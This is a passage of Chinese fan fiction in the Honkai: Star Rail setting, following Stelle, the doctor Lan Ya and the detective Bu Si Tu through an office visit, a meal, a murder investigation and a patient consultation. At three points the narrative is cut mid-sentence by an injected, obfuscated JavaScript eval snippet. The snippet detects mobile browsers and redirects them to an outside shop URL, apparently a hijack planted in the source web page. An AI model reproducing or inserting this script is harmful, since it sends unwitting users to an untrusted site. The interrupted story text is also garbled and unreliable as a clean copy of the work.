星的表情从眼泪汪汪.jpg无缝切换到了喜出望外.jpg。 她从口袋里掏出一张皱巴巴的纸条,塞进兰涯手里。 “那你能不能帮我去狸狸周刊报社坐镇?监督狸猫们干活,顺便帮我游戏过一下日常周本。”她说到这里,脸上的喜出望外又切换成了痛心疾首,“上次在翁法罗斯开拓的时候,被来古士坑了一把。手机没有信号,我游戏断签了。” 她说到“断签”两个字的时候,声音都在抖。 “万恶的来古士,啊啊啊啊啊啊啊!我因为游戏断签,就差这么几天就能拿到周年庆免费送的设定集了!” 她双手捂住胸口,像心口中了一箭。 兰涯觉得她现在的表情比刚才的眼泪汪汪.jpg真挚得多。 星把捂着胸口的手放下来,神情变得严肃:“兰妈妈,这群狸猫很会摸鱼偷懒的。本社长要在大街小巷有膝盖地蹦蹦跳跳,把这群不干活的员工抓回来。” 兰涯拿着纸条,打趣:“没想到你到二相乐园没几天就当报社社长了,讲不定以后就能当星际和平公司董事会主席了。” 星的眼睛露出了那种“你以为我不想吗”的伤感:“如果是真的就好了,星际和平公司搞的参观琥珀王一日游活动一个人价格十八亿,我当董事会主席的话,来参观我只要十六亿就足够了”。 然后她告诉兰涯实话,要陪三月七去抢MIKU专辑签售会的首发,等签售会结束,她就来报社。 “好,你去吧,我会过去。” 兰涯把纸条展开,上面是星的字迹,笔画像蚯蚓在爬,但每个字都很大,很用力,报社的地址写在最上面,下面还有一行专门写给“幻太子”的话。 鸽川区。 兰涯站在《狸狸周刊》报社门口,把星塞给她的纸条又看了一遍。地址没错,门牌没错。 她推开门,里面果然是狸猫们。一只一只毛茸茸的,有的在吃零食,有的在看新番,有的把自己团成一个球睡觉,总之没有一个在干活的。 狸猫们看到有人推门进来,齐刷刷抬起头,圆溜溜的眼睛一起看向门口。 兰涯走进去,把门在身后关上。 她把星的纸条掏出来展开。 纸条上除了地址,还有一行专门写给幻太子的话,字迹比地址那部分更用力,笔画像蚯蚓打了兴奋剂。 「来的这位是我妈,来监工尔等。她的话就是我的话!银河球棒侠留。」 狸猫中那只紫黄配色的接过纸条,两只前爪捧着,从头到尾看了一遍。它的瞳孔先放大,再收缩,再放大,大脑运转的声音几乎能透过毛茸茸的脑壳传出来。 浣熊社长的妈妈。 幻太子翻译:太后。 幻太子把纸条高举过头顶,四肢伏地。报社里所有的狸猫同时趴倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512171|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,毛茸茸的身体贴着地板,耳朵贴着脑壳,尾巴贴着地面。 兰涯低头看着这一地毛茸茸的、五体投地的狸猫,沉默了。 “各干各的去。”她说,“在我面前表演假装工作也很没意思。” 狸猫们从地上爬起来。幻太子跳到最近的一张办公桌上,开始用爪子弹键盘,键盘声噼里啪啦响起来。其他狸猫也各自归位,打字的打字,排版的排版,校对的红笔叼在嘴里。 兰涯在报社靠窗的办公椅上坐下来,她先把星的游戏账号登上。 清体力。日常任务。周本。收委托。 星在纸条背面还画画写写了攻略,兰涯按照她写的,打完周本,领了奖励。 整个过程中狸猫们一直在噼里啪啦敲键盘,估计实在是表演假装工作表演不动了,狸猫们后面连二连三地以“外出取材”“印刷厂跟进度”“对接地推”等等各种理由溜走了。 没事,星会在二次元JUMP里一个一个逮回来。 兰涯退出游戏,在报社里环顾了一圈。书架最底层放着一排漫画,书脊被翻得起了毛边。她从最左边抽出一本,坐在沙发上看,封面印着《苍天航路绒绒号》,上面的球棒浣熊和星简直一模一样,三月兔、汪汪丹也很可爱,姬奇猫很优雅,等等,为什么杨叔还是叫杨叔? 手机亮了一下,星的消息。 “兰妈妈!专辑签售会结束了,我们抢到了MIKU酱的签名专辑!我先陪三月七去无梦咖啡店买抹茶椰奶沙冰。你要不要喝什么?我强推芒果思慕雪!” 兰涯回复:“就要你推荐的吧。” 她把手机放下,把漫画翻开。 报社的门被推开了。 进来的是两个人,不对,一人一猴。 走在前面的是一只兰涯没见过的小猴,它走路的姿势很端正,脊背挺得笔直,尾巴弧度非常优雅。。 走在后面的是一个戴着帽子、穿着红白西装、披着同色斗篷、异常熟悉的男人。手杖握在右手,杖尖点地。 小猴在报社里环顾了一圈,目光最后落在坐在沙发上的兰涯身上。它迈着端正的步子走过来,在兰涯面前站定,微微鞠了一躬,动作很标准。 “这位女士你好,我是侦探助手旁白。”它的声音字正腔圆,抑扬顿挫,语调分明,和电视新闻纪录片的旁白配音一模一样,“请问你是来不死神探事务所商谈委托的吗?” 兰涯把漫画合上,她的目光从旁白身上移到那个拿手杖的男人身上。男人的帽檐压得很低,遮住了大半张脸,但他的耳尖从帽檐下面露出来一点,红了。 兰涯这才注意到报社有一个小隔间,隔间门上贴着一张不大的广告纸。纸的边缘卷起来了,透明胶带发黄,显然贴了有段时间。广告纸上印着几个大字: “名侦探不死途竭诚为您服务。” 兰涯念出上面的字,嘴角往上扬起,好像看到了一样让她觉得有意思的东西,她的眼睛深处慢慢浮上来兴致盎然的亮光。 “侦探先生。”她看着那个把帽檐压得低低的男人,“我的确有个委托。要找一个手机欠费联系不上,欠钱不还的人。” 旁白不知从哪里掏出来本子和铅笔,姿势非常专业,显然比边上的侦探先生更专业。 “欠了多少钱?”旁白问,“需要上门追债吗?” 兰涯托着腮,思考了一下,回想起星说的话,灵光一闪: “欠了三百二十四亿信用点。” 53.第 51 章 三百二十四亿信用点。 旁白的铅笔在本子上飞快地记下这个数字。而边上的侦探本人,手杖在手里晃了一下,不可思议地抬起头,紫灰色的眼睛微微睁大,好像被这个庞大的数字击中了。 “啊?”不死途从牙缝里挤出一个音节,“三百二十四亿?哪有欠那么多?” 旁白的铅笔停住了。他抬起头,字正腔圆的声音在报社里响起来,感情充沛。 “此刻侦探先生用被冰箱门夹过的脑袋高速思考,三百二十四亿是什么概念?星际和平公司的旅游项目「琥珀王荣光一日游」,支付十八亿信用点,就可以在庇尔波因特的轨道飞船上,近距离瞻仰琥珀王。三百二十四亿,足以觐见十八次琥珀王。或者把传说中宇宙里还在的、陨落的、失踪的十八位星神统统觐见一遍。所以显然这位女士的追债金额有点夸大——” “非常合理!” 不死途侦探抢在旁白说完之前开口了。帽檐下面的脸抬起来了,他语气坚定得好像下一秒就能去觐见星神。 “我的确是欠了三百二十四亿。” “等等。不死途先生,怎么变成你欠钱了?” 旁白的铅笔还抵在本子上,他的脑袋从兰涯转向不死途,又从不死途转向兰涯,再转回不死途。 大脑运转的过程在他的瞳孔里几乎能看到:信息输入,逻辑比对,矛盾识别,重新校准。 终于,旁白放下铅笔,恍然大悟的表情在毛茸茸的脸上展开:“原来两位认识。” 兰涯从沙发上站起来,朝旁白颔首致意,表达对一位初次见面的、非常专业的、甚至比侦探本人更专业的侦探助手的尊重:“你好,旁白先生。我是医师兰涯。” 旁白的瞳孔亮了一下,声音里带上了一种“原来如此”的语调:“你就是那位绝境医师。” 兰涯习惯性观察了一下,说:“按理旁白先生这样的情况,应该送到我那里去,怎么没过去呢?” 不死途的手杖轻轻晃了一下,解释说:“是乱破送他来的,她急着去下一个地方,暂时托付给我。” 兰涯看着他,紫灰色的眼睛在帽檐下面和她对视了一瞬,然后移开了,耳朵比之前还红。 “这么说,乱破和波提欧都找过你了。”兰涯说,“我还让波提欧带话呢,结果他带了没有?” 不死途的手杖晃了晃。 “我装不认识他们,他们年轻一代又不认识我。”他语气里带着侥幸,“幸好我装傻。不然早早知道我欠了三百二十四亿,卖了我也还不起。” 兰涯看着他,那个眼神让不死途的手杖再次晃了晃。 他轻咳了一声,声音压得很低,低到只有兰涯和离他最近的旁白能听到,搞得好像这里还有什么窃听器一样:“那你觉得我值多少钱?” 兰涯点了点下巴,思考,得出结论:“十六亿吧。” 侦探先生的紫灰色眼睛睁大了,帽檐往上抬了整整一寸。 “竟然有十六亿那么多吗?”他的声音里那种压低的伪装完全忘了维持,变回了本来的音色,尾音微微上扬,“这是怎么算出来的?” 旁白又掏出了本子和笔,字正腔圆地开始商谈:“兰医师,侦探先生就卖给你吧。这样我好拿着钱买香蕉。” 铅笔抵在本子上,等着记成交金额。 兰涯从口袋里掏了掏,把所有现金都掏了出来,递给旁白:“定金。” 旁白接过,对折,收好。然后他转向不死途:“侦探先生,承蒙关照。”他直起身,走出报社,门在身后关上了。 不死途站在原地,手杖点地,紫灰色的眼睛看着门关上的方向。 他的嘴张了一下,合上了,又张了一下。 “就这么把我卖了?”他说,声音里满是不可置信。 兰涯坐回靠窗的办公椅上,她把《苍天航路绒绒号》放到一边,端起桌上幻太子给她泡的茶。 “定金都付了。侦探先生是时候来谈谈欠了三百二十四亿的事情了。” 不死途侦探的手杖在手指间转了一圈。他把帽子摘下来,挂在手杖顶端。 头发没有年轻时那种墨色了,带着点儿玄青色,末梢染上了一缕白。紫灰色的眼睛完整地露出来,眼眶周围的皮肤带着一层很淡的、长期处于低温环境中留下的青灰色,不过没有以前浓重。 他走过来,绕过办公桌,走到兰涯身后。手臂从后面环过来,交叉在兰涯身前,下巴搁在她的肩窝里。玄青色的发丝和墨蓝色发丝混在一起,一时间分不出你我。 手杖靠在桌边,帽子挂在手杖上,西装斗篷的衣料在她肩膀两侧垂下来,把她整个人裹进一团出乎意料的暖热里。 “那债主说说该怎么还钱?”他的声音从她一侧传来,尾音压得很低,低到只有她一个人能听到。 “拉曼查。” 他的左手从她身前抬起来,食指按在她的嘴唇上,她这才发现他左手食指上的玄色素戒不知何时转移到了中指上。 “在二相乐园这个到处都是流量陷阱的地方。”他的声音压得更低了,嘴唇贴着她的耳朵,每一个字的气流慢慢下降,“还是叫我不死途吧。” 报社里安静得只剩下隔间里冰柜压缩机的嗡鸣。 报社大门被猛地推开了。 门板撞在墙壁上,发出一声巨响。 窗台上打瞌睡的尘灵被惊得跳起来,从窗台滚到了地板上。 星站在门口,手里高举着一个奶茶袋,袋子表面凝着细密的水珠。 “兰妈妈!我给你人肉外卖送到了!芒果思慕雪!刚刚做好的!” 星大步流星地走进来,奶茶袋在手里晃来晃去。 走了三步,停住了。 兰涯坐在靠窗的椅子上。上次在酒馆拿睡蕉小猴模因病毒时遇到的,看到她们打算使用模因病毒后态度很不满的男人,站在她身后,手臂环在她身前,脑袋刚从她肩上移开。 星的瞳孔在兰涯和不死途之间来回弹跳了一次,浣熊社长的大脑运转速度比幻太子看纸条时快得多,快到都能看到脑袋右上方有个“正在加载中”的标志。 不死途的手从兰涯身前松开了。他紫灰色的眼睛在星的脸上停了一瞬,然后看向兰涯,再回到星的脸上,嘴张开了。 “啊?你都有女儿了?大明星小姑娘是你女儿?”他的手指指向星,又指向兰涯,最后指向星手里那个还在往下滴水珠的奶茶袋,“等等。那她父亲又是谁啊?” 星把奶茶袋往桌上一放,双手叉腰,下巴往上一扬,姿势和她在列车上说“黑塔也四舍五入算养母了”时一模一样。 “当然是阿基维利了!” 侦探先生的紫灰色眼睛里,瞳孔急剧收缩了一下。 “明明,是我先来的……”他说,声音里的震惊是真的,那一丝委屈也是真的。 然后他不知道又想到了什么,陷入神奇的推理思考模式:“不对,这么算起来,到底是谁先来的?” 兰涯从奶茶袋里拿出芒果思慕雪,她把吸管插好,喝了一口。芒果的甜味在舌尖上散开,思慕雪的冰沙质地很细,从喉咙滑下去的时候带着一股凉意。 “旁白没说错。”她说,把杯子放回桌上,“你脑子被冰箱门夹了。” 不死途把扣在手杖上的帽子摘下来,戴回自己头上,杖尖点地,脊背挺直,恢复了名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513727|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侦探的端庄站姿。 “再次和星穹列车的无名客认识一下,侦探不死途。”他朝星微微颔首,睫毛在灯光下投下一小片阴影,“不死神探事务所所长。这位女士的——委托人、被委托人、追债关系中的债务方。” “报社地方小,这里站不下这么多人。”星说。 事已至此,先吃饭吧。 报社的门被从外面推开,旁白端着一个巨大的纸袋走进来。 纸袋的高度几乎和他持平,纸袋表面印着一个白发老爷爷的笑脸,红白色的LOGO在报社的灯光下格外显眼。 “怎么今天不是拼好饭?”侦探说,语气里带着一丝非常微妙的遗憾,也不知他到底遗憾个什么劲儿。 旁白把纸袋稳稳地放在办公桌上,掏出一张收据,展开,用字正腔圆的旁白音开始汇报。 “第一,我使用的是兰医师给的现金。第二,拼好饭显然无法体面地招待兰医师。” 不死途的手杖在地板上点了一下,吐槽:“所以要体面地招待,为什么是肯〇基?” 旁白把收据折好,表情严肃又认真。 “因为肯〇基能异世相遇,尽享美味。”他停顿了一下,抑扬顿挫,“不会OOC。” 不死途沉默了。 兰涯觉得这个理由确实很难反驳。 旁白买的汉堡数量显然超出了三个人的食量。纸袋里鼓鼓囊囊地塞着至少七八个独立包装的汉堡盒,几盒鸡块,两桶翅桶。 所以当星非常自然地伸手去纸袋里掏的时候,旁白没有任何意见,他只是把纸袋往星的方向推了推。 “红色包装的是新款,加了绝云椒的特辣款,新品促销买一送一。”旁白的声音平稳而专业,像在播报天气预报,“如果吃不了辣,可以吃白色包装的。” 星的手悬在纸袋口,她的目光在红色包装和白色包装之间来回移动了一下,然后她抓住了红色包装的那个。 “我都敢在雷虬防御塔前喝外来品牌的饮料被雷劈。”她把汉堡盒从纸袋里抽出来,红色包装在灯光下鲜艳得像某种警告标志,“仙舟苏打豆汁儿、苏乐达、面包汽水、哀丽秘榭自酿葡萄汁儿。本银河球棒侠一个一个当着雷虬的面喝,让它劈到最后让我偷偷喝,别让它看到就行。” 她把汉堡盒打开,特辣款绝云椒汉堡的香气从盒子里炸开。真的不是夸张,真的是字面意义上的炸开,连边上的旁白都忍不住打了个喷嚏,毛全部蓬起来。 “区区特辣而已,怕什么。” 她咬了一大口。 咀嚼了大约两秒,星的脸以肉眼可见的速度变成了红色,像是被开水烫过。她的眼睛睁大了,瞳孔收缩,眼眶里迅速蓄满了一层水光。 很遗憾,这次不是小浣熊为了求妈妈当代练特意练过的眼泪汪汪.jpg,是真正的、被辣出来的生理性泪水。 “水水水水水——” 她把汉堡放在桌上,双手在空气中乱抓。 兰涯把自己的芒果思慕雪递过去。星完全不在意这杯是兰涯喝过一口的,抓住杯子,吸管塞进嘴里,腮帮子用力凹陷下去。 思慕雪的液面以肉眼可见的速度下降。星喝掉了大半杯,终于把杯子放下,张着嘴,舌头微微伸出来,像一只被烫死的浣熊。 不死途侦探拿起了纸袋里另一个红色包装的汉堡。他打开盒子,咬了一口,咀嚼,咽下去,紫灰色的眼睛看着星。 “辣吗?”他说,语气里是真正的疑惑,“还好吧。” 星用袖子擦掉眼角的泪水,比了个大拇指:“你狠。” 不死途又咬了一口汉堡,他咀嚼的速度不快,腮帮子一鼓一鼓的。 54.第 52 章 吃完汉堡和炸鸡,星从椅子上跳起来,用纸巾把嘴角和手指擦干净,把纸巾和包装纸收拾成一堆扔进垃圾桶,球棒不知道从哪个次元空间又被她抽出来了。 “本社长要去抓翘班摸鱼的狸猫了!”她扛着球棒走到报社门口,转过身朝兰涯挥了挥手,然后蹦蹦跳跳地下了楼,消失在鸽川区的街道上。 旁白也吃完了,他掏出小本子和铅笔。 “我还有调查未完成。”他字正腔圆地说,“不死途先生,兰医师,请慢用。” 他迈着端正的步伐走出报社大门,尾巴在身后保持着优雅的弧线。 不死途看着旁白消失在门外的背影。 “他比我还像个侦探。”他说。 兰涯从靠窗的椅子上站起来。她把芒果思慕雪的空杯放在桌上,走到不死途面前:“侦探先生,不带我参观一下你的事务所吗?” 不死途的手杖在手里握了一下,他转过身,朝报社那个小隔间走去,隔间门上那张“不死神探事务所”的广告纸还卷着边。 他推开门,侧身请兰涯先进去。 小隔间确实很小,一张桌子,桌面上的文件堆得像显然没有边上的空瓶子叠叠高的技术高超。 有些文件从桌子边角溢出来,堆到了地板上,沿着墙角蔓延,如同形成了一片浮脂飘零年代至今的沉积岩。 一个白色的冰柜,外壳有一只蓝色的章鱼闭目养神。 兰涯走到冰柜前面,把冰柜盖子掀开。冷气从里面涌出来,在隔间里结成一小片白雾。她低头看了看盖子内侧嵌着的温度计。 零下十八度。 嗯,比之前的零下四十度好很多。 她把盖子合上,冷气重新被截断在冰柜内部。 侦探的手杖在地板上支着一个点,无意识地晃着。 “二相乐园和影子的共鸣程度很深。”他的声音从门口传过来,像是遇到老师查作业想办法解释作业被狗叼走了的小学生,“所以还是要靠冰柜压制。” 兰涯的手从冰柜盖子上移开,她转过身,靠在冰柜边缘。 “我过来,就是因为接了病人的委托。”她说,“病人的病因有一部分就是这个。” 她的嘴角微微翘起,虽然隔间灯光很暗,但是眼睛里的光是明显的,有点像刚才她坐在沙发上发布三百二十四亿催债委托的时候,那种玩味。 “这不是问题,说说看吧,侦探先生。味觉,不,痛觉感知退化了多少?” 侦探的手杖停住了。 “辣味是痛觉。绝云椒汉堡能把小浣熊都辣飞,你不觉得辣。”兰涯的口气好像在分析病例,“你自己不觉得很可疑吗?身为侦探,自己身上的气味擦掉了,细节也要注意些。” 她自己不吃辣,除了当年白焰带她去吃火锅时造成的冲击,还有一部分原因在于她一直保持着正常的痛觉感知,当然,这是好事也是坏事。 隔间里安静了一瞬。 不死途叹了口气,走到她面前,微微前倾,两个人之间隔着一个拳头的距离。冰柜压缩机低沉的嗡声从兰涯背后传出来,震动着她的脊椎。 “不。”他说,声音沙哑,尾音却微微上扬,“这些细节是故意留着,等医师来推理的。总得有点把柄握在医师手上,我才好安心。” 兰涯抬头看着他,手从冰柜边缘移开,落在不死途放在柜门的手背上。 他的手指比之前预想的零下四十度要温热一些,如果是正常人的感官,一定觉得兰涯在说什么胡话,体温比正常人低,血液流动得比正常人慢。 不过很遗憾,这两位没一个是正常人。 桌上的文件堆和瓶子在灯光下投下层层叠叠的阴影。 “科尔他们走后,岛上还有多少人?”他的声音从她头顶传下来,比刚才更低了一点。 “去掉寿终的,后面陆陆续续送来了一些。很多在实验中有了定义溶解的迹象。”她停了一下,冰柜压缩机的嗡声填满了她停顿的那几秒,“还差最后一些推力。” 不死途的手在她掌心里翻过来,五指张开,扣住了她的手指。 “辛苦你了。”他说。 她摇摇头:“我还要谢谢你帮我还人情。” 侦探先生低笑一声:“还是让战略投资部欠你人情比较好。” 人情这个东西可是很贵的。 “旁白挺特别的。”她从分析模式切换到了以往闲聊的轻松,“他是难得一位在没有外力干涉情况下能自我维持思维定义的。” 不死途的头发在她脸颊上轻轻蹭了一下:“巡猎的自我制约。老白是一个很纯粹的人。” “那位无名客小姑娘也挺纯粹。”不死途的声音带着一点说不清是担忧还是别的什么的语调,“纯粹到太耀眼了,真怕她会把自己灼伤。那天在酒馆看到她还拿模因病毒去对抗火花。” 兰涯笑了,两个人靠得太近,以至于他能感觉到她的身体随着这个笑的动作轻轻震动:“你这什么老父亲瞎操心的口吻。” 不死途陷入了她说得好有道理以至于我竟无法反驳的沉默。 然后他的手指在她指缝间收紧了一点:“她叫你妈妈,我就自动也升辈了?” 兰涯把两个人交握的手举起来,举到面前。他的左手比她的右手整整大了一圈,手指更长,几乎能把自己的手完全包住。 “不喜欢吗。”她说,没有用问号,仿佛早已知道答案。 不死途的手指在她指缝间完全静止了,然后他把她的手拉下来,拉到自己胸口的位置,按住了。 “喜欢。”他说。 隔间外响起了狸猫的哀求:“社长大人,狸知道错了哩!这就干活哩!” 星飞快地抓到了第一只翘班的狸猫。这只狸猫显然技术不过关,装扮成三月七的样子在无梦咖啡店点芒果思慕雪外带,这在星的眼里显然是过于OOC了。 因为就在一个小时前,她还在和三月七等饮料出单,点了抹茶椰奶沙冰的三月七还质疑了星推荐芒果思慕雪的口味,以及无梦咖啡馆原则上只能堂食,不能打包,星还和店员进行了友好的互动,拍胸脯保证自己会以炫七个轮椅的速度送达。 事实证明,她做到了,你让岚本神过来也没她快。 旁白不久后也回来了,带回来一本厚厚的调查笔记,字迹工整,段落分明,每一个标题都用红笔划了着重线。不死途走到办公桌前,低头看了看调查笔记:“有什么发现?” 旁白翻开笔记的某一页,清了清嗓子:“今日下午,我在鸽川区三条街区范围内进行了地毯式走访。走访对象包括但不限于:扭蛋机本机两名、卖气球的魔法少女变身器一名、刚刚和无名客小姐打完牌的律师暗布雷拉先生边上的直播区鸽川居民两位,附:暗布雷拉先生自称说话要按分钟收费,故而跳过。又附:打牌是无名客小姐获胜了。” 星听得眼睛都直了:“你一个下午干了多少事?不对,你跟踪我打牌?” 旁白把小本子合上:“调查是侦探助手的分内之事。打牌只是偶遇。” 他掏出一张折叠得整整齐齐的地图,展开。鸽川区地图上,被他用红笔标出了一些点位,点与点之间用细线连接,形成了一条从鸽川区向共愿帮大楼延伸的、缓慢移动的轨迹。 星看着地图,明白了:“你们原来在调查共愿帮惨案。” 她突然变得很伤感,如果小浣熊耳朵在她脑袋有实体化,一定会耷拉下来:“我有个朋友……不对,是宿敌?也不对……总之他遇害了。他不应该这么早就死了,这么多年当孤狼当到现在,还没有完成P45的梦想,还没有跟拉克什米告白成功,他还给自己买了临终删除服务,到头来什么都没有,这里除了我没有人再认识他、记得他了。” “原来那个遇害的公司职员是你认识的人。”不死途的左手放到小浣熊的脑袋上,揉了揉灰色的头发。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514792|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星抬起头说:“我想为他报仇。” “眼神很不错啊。”侦探先生放下手,叹了口气,声音从帽檐下面传出来,“如果有信念,只管去。但是如果徒留怒火,那就只是转瞬而逝的火。” 兰涯牵起她的手:“累了一天了,我带你回列车吧,不然姬子会担心的。” 鸽川区的夜很深,星觉得这里的天空没有匹诺康尼的筑梦边境美,那里会缓慢地过渡着颜色,从橙红过渡到紫灰,从紫灰过渡到深蓝,还有无数流星划过。来二相乐园之前,她刚从大丽花那里取回曾经那段终末的记忆。 星不由看向身边的兰涯,原来那个时候她还接受卡芙卡的委托去控制流萤的病情了。 两人一边走,兰涯缓缓开口。 “我给你讲两个故事吧。” 第一个故事。 有一位侠客,他的名字无人知晓。他定制了一批超距子弹,向空无的各个方向击发出去。除了他本人,没人知道这些子弹的轨迹。每一发子弹都是一条独立的路径,所有的路径交织在一起,织成一张无形的巨网。网在宇宙中无声地张开,等待了十年。 十年后,当他将作恶的猎物驱赶到既定的坐标,十年前击发的子弹就跨越十光年的距离,在那个坐标精准地完成打击。十年前他击发子弹的时候,子弹飞向的位置空无一物。十年后猎物站在那里的时候,子弹刚好到达。 不是预知,是计算。不是运气,是耐心。 十年间他追踪猎物的每一条轨迹,预判猎物的每一个习惯,把猎物的所有可能性压缩到唯一的一个坐标上,然后子弹到了。 十年前他可能没有足够的能力当面杀死猎物。十年后,正确的目标,正确的时机,正确的手段。 那颗子弹完成了看似逆因果的动作——先有子弹,后有目标。 但这十年间他是如何将复仇的怒火约束在漫长的追踪之中,无人得知。 星听得入神,走路差点撞到电线杆,被兰涯牵住才及时换了角度没撞到。 第二个故事。 有一群专门巡猎繁育和贪饕孑遗的游侠,叫深空猎团。他们有个习惯,将最后一颗子弹留给自己。因为一旦失败,其代价远比死亡沉重。 在一次围猎巨兽的行动中,原定计划是团队合作先困住巨兽,随后如采矿一样逐步凿开血肉,捣毁巨兽的器官,将之慢慢杀死。因为巨兽的体型太大了,大到从外部根本无法一击致命。 行动过程中,领队特里同的飞行器被巨兽整个吞下。其他人不得不先行撤退。三天后,巨兽突然暴毙。 战友们挖开巨兽的残骸,找到了特里同。原来,飞行器被吞下之后,他没有死。他从飞行器里爬出来,落在巨兽的胃里。然后他开始挖。用随身携带的武器,用飞行器上的钢板,用双手,用任何他能找到的东西。从胃挖到肝,从肝挖到肺,从肺挖到心。他把巨兽的内脏一个一个挖穿,挖了三天。巨兽的内部结构被他挖成了一片空洞。巨兽死了。 他们找到他的时候,他的遗体躺在巨兽干瘪的心室内,最后一颗子弹还留在身上。 兰涯的声音在这里停了一下。星看着她,金色的眼睛收紧了。 “他们后来找了我。”兰涯说,“问能不能逆转特里同的生命。我说,如果逆转了特里同的生命,那么巨兽死亡的结局也会被逆转,接受吗?” 星的手指在兰涯的掌心里无意识地蜷起来又松开。 “他们接受了吗?”她问。 兰涯没有回答,温柔地看着星:“如果是你,你如何选择?” 星低下头。 “我不会接受逆转这个结局。”她说。 兰涯点了点头,从口袋里掏出一样东西,交给星,是一枚挂在项链上的子弹。 “不嫌弃的话,放在你房间的收藏架上吧。”兰涯说,“如果——我是说万一——以后你面临这样的抉择,就想一想它。” 55.第 53 章 街角一隅的咖啡馆,露天位。 阳光从头顶的遮阳伞边缘漏下来,和二维市到处可见的银杏树一起,在桌面上投下碎金似的光斑。 兰涯的咖啡杯里,银杏叶形状的拉花在奶泡中漂浮。她对面的漫画家端起自己的杯子喝了一口,放下时杯底磕在瓷碟上,发出一声清脆的响。 “实不相瞒,很早就想委托你了。”虚照用纸巾擦了一下嘴角的奶泡,动作利落得像擦掉画布上的一笔废色,“病急乱投医,我投的医可太多了。” 兰涯把咖啡杯放回杯碟上:“这个委托,很早以前病人就亲自给过,只是我一直没有能力医治。” 虚照的眉毛往上挑了半截又落下来,又惊讶又无奈:“啊?祂竟然还会主动看病?我硬拖着祂看病祂还不肯,我看是讳疾忌医得很。” “嗯。最早在悲悼剧场的时候,跟我说把月亮从绝境里打捞出来。” 虚照的手指在勺柄上停住了:“诶诶,这么说起来,那里的剧团妖精跟我说过,在我外出采风的时候,有过一次特殊包场。包场的记录上没留名字,只写了一个符号。”她的指尖在桌面上画了一个莫比乌斯环。 兰涯看着莫比乌斯环微笑,说:“祂讳疾忌医?那怎么会主动给我委托?” “哎,孩子大了,妈妈的话不听了。”虚照叹了口气。 兰涯喝了一口,苦味和香味在舌尖上同时铺开:“说说病人的情况吧。” 虚照把托腮的手放下来,搁在桌面上,五指张开又收拢,像是在找一个合适的手势来配合她接下来要说的话。 最后她找到了,她把右手张开,握成一个大嘴,放在自己的脖子上方,然后猛地一拉。 “头掉了。” 兰涯把咖啡杯放下,语气中听不出这是什么大事:“头掉了好办,把博识尊的头按上去,祂正好缺个身子。” 虚照愣了一拍,然后笑得肩膀都在抖。她笑了一会儿才收住,摇头:“那不行,我最近用博识尊炒数字货币呢。” 兰涯停住了,似乎不敢相信自己听到的话:“这也能炒币?” 谈到这个可就不困了!虚照往前倾了倾身子,声音压低了一点,语气里带着一种“我跟你讲个大秘密”的兴奋。 “游牧矿工发现了可以盗取博识尊算力挖矿的方法。他们正在挖掘一种总量有限的博识币。”她把“总量有限”四个字咬得很重,“我已经拿全部身家重仓了这个项目。如果把博识尊当脑袋按上去,我的钱怎么办?” 考虑到当下是病情沟通为主题,兰涯不太好意思说博识尊已经被星搞自闭关机了,她从中提取了关键字:“全部身家?” 虚照点头。 “所以这次出诊的诊金?”兰涯问。 虚照眨了眨眼睛,试探着问:“医师先给个价格?” 兰涯思考了一下:“十八亿。” 虚照鼻梁上的眼镜差点滑下来:“也太贵了吧!” “哪里贵了?这么多年都是这个价格。公司琥珀王荣光一日游要价十八亿,那还只是远远看一眼呢,我这可是出诊治疗。”她看着虚照,毫不心虚,仿佛是某直播间卖医疗服务的主播,“你找找自己原因,这么多年了工资涨没涨,有没有认真工作?” 虚照的嘴角抽了一下,尴尬地一笑,从钱包里翻了翻,夹层里找到一张纸币,放在桌面上,推到兰涯面前。 五十信用点。 “你知道病人的情况,不是仙舟古国皇帝的骗局。”虚照的手指压在纸币上,没有立刻松开,“先V50,事成之后定有重金酬谢。” 兰涯低头看着那张五十信用点的纸币,已经有些旧了,但很平整,中间有一道很深的折痕,看得出在钱包里夹了很久。 “那再说说你病急乱投医的主要内容,我需要了解既往病史。” 虚照的手指从纸币上移开。她的食指和中指并拢,悄悄指了指路边。 兰涯顺着她手指的方向看过去。 路边种着一排银杏树,街道的风把树冠吹得轻轻晃动,金色的叶子也跟着婆娑。 兰涯看着银杏树,看了好一会儿,然后她把视线收回来,看着虚照,虚照点了点头。 她有点惊讶:“啊?” 虚照掏出一张名片,放在五十信用点旁边。名片是纯白色的,只印着一个地址:幻月秘庭。 接着,漫画家不知从哪里摸出一块橡皮,嘴上说着:“具体地点你可以看这个,你一定能到得了。我还有稿子没赶取材没取我先走了看在给侦探先生免费水电低房租的份上一切都拜托你了医师!” 